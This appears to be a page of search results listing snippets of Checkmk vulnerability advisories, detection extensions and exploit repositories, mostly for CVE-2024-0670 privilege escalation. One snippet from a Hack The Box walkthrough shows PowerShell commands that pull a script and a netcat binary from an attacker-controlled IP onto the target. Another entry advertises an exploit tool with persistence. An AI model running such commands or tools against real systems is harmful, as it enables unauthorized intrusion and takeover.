1865 matches found
checkmk_php2shell
checkmkphp2shell A Checkmk extension that shows, for every PHP installation on a Linux host, whether it is affected by PHP2Shell - the pre-authentication remote code execution vulnerabilities CVE-2026-109618 and CVE-2026-109619 , disclosed and fixed on 2026-10-21 in PHP 8.2.35, 8.3.36, 8.4.27 and...
checkmk-log4j-scanner
checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...
CVE-2021-40905
CVE-2021-40905 - RCE via a crafted .mkp file Application: CheckMK Management Web Console Software Revision: Less than or equal to 2.0.0p17 Attack type: RCE Solution: TBD or the MKPs shared on https://exchange.checkmk.com/ are manually reviewed by CheckMk and they look for malicious code or...
CVE-2021-40904
CVE-2021-40904 - RCE via CheckMk's Dokuwiki embedded application Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Attack type: RCE Solution: Upgrade to version 1.6 or higher. Summary: The web management console of CheckMk Raw Edition versions 1.5.0 to 1.5.0p25...
Fsociety-CVE-2024-0670-CheckMK-LPE
π Fsociety-CVE-2024-0670-CheckMK-LPE - Powerful System Access Made Simple π¦ Overview Hello friend. This tool unlocks advanced access for CheckMK CVE-2024-0670. It takes advantage of weak file handling to gain SYSTEM support. The software includes a specialized persistence feature. It is developed...
CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit
CVE-2024-0670 β CheckMK Agent Local Privilege Escalation PoC This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file path...
HTB-NanoCorp-CVE-2024-0670
CVE-2024-0670 - CheckMK Agent MSI Repair Privilege Escalation NanoCorp HTB This repository contains a PowerShell script used to exploit CVE-2024-0670 on the NanoCorp machine from Hack The Box. The vulnerability allows a low-privileged user to abuse the CheckMK Windows Agent MSI repair functionali...
CVE-2021-36563
CVE-2021-36563 β Multiple Stored and Reflected XSS Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 2.0.0p9 Attack type: Stored and Reflected XSS Solution: Update to Software Revision 2.0.0p10 or later Summary: The CheckMK management web console versions 1.5.0 to 2.0.0...
CVE-2021-40906
CVE-2021-40906 - Reflected XSS in an unauthenticated zone Application: CheckMK Management Web Console Software Revision: From 1.5.0 to 1.5.0p25 Author: Edgar Augusto Loyola Torres. Attack type: Reflected XSS Solution: Update to Software Revision 1.6.0p26 or later Summary: CheckMK Raw Edition...
CVE-2024-0670
CVE-2024-0670 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2024-0670 vulnerability, affecting the CheckMK Agent on Windows systems. The vulnerability occurs when the CheckMK Agent creates and executes temporary files in the C:\Windows\Temp directory. An attacker can abu...
checkmk_cve-2024-0670
checkmkcve-2024-0670 βββrootγΏkali-/HTB/NanoCorp ββ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
CVE-2026-121374
Argument injection in the Kubernetes special agent in Checkmk 2.5.0p19, 2.4.0p40, and 2.3.0 EOL allows a user with permission to edit rules in at least one folder to write files to arbitrary locations writable by the site user via crafted node roles in the "Exclude nodes based on their role" rule...
CVE-2026-120495
Path traversal in the Synthetic Monitoring "Robotmk" test service of Checkmk 2.5.0p19, 2.4.0p40, and 2.3.0 EOL allows an attacker who controls the agent output of a monitored host's check output for a host to inject a crafted robot output to define the contents and location for the generated HTML...
CVE-2026-118965
Path traversal in the discovered host label synchronization in Checkmk 2.5.0p19, 2.4.0p40 and 2.3.0 EOL allows an attacker in control of a remote site in a distributed monitoring setup to write arbitrary files on the central site and thereby execute code as the central site user...
EUVD-2026-123353
Path traversal in the discovered host label synchronization in Checkmk 2.5.0p19, 2.4.0p40 and 2.3.0 EOL allows an attacker in control of a remote site in a distributed monitoring setup to write arbitrary files on the central site and thereby execute code as the central site user...
CVE-2026-118965 Path traversal in host label synchronization allows code execution on the central site from a remote site
Path traversal in the discovered host label synchronization in Checkmk 2.5.0p19, 2.4.0p40 and 2.3.0 EOL allows an attacker in control of a remote site in a distributed monitoring setup to write arbitrary files on the central site and thereby execute code as the central site user...
CVE-2026-118965
Path traversal in the discovered host label synchronization in Checkmk 2.5.0p19, 2.4.0p40 and 2.3.0 EOL allows an attacker in control of a remote site in a distributed monitoring setup to write arbitrary files on the central site and thereby execute code as the central site user...
CVE-2026-118965
A path traversal vulnerability exists in the host label synchronization of Checkmk versions <2.5.0p19 ,
CVE-2026-120495
The Checkmk monitoring software is vulnerable to a path traversal flaw in the Synthetic Monitoring "Robotmk" test service. Affected versions include <2.5.0p19 ,
EUVD-2026-123351
Path traversal in the Synthetic Monitoring "Robotmk" test service of Checkmk 2.5.0p19, 2.4.0p40, and 2.3.0 EOL allows an attacker who controls the agent output of a monitored host's check output for a host to inject a crafted robot output to define the contents and location for the generated HTML...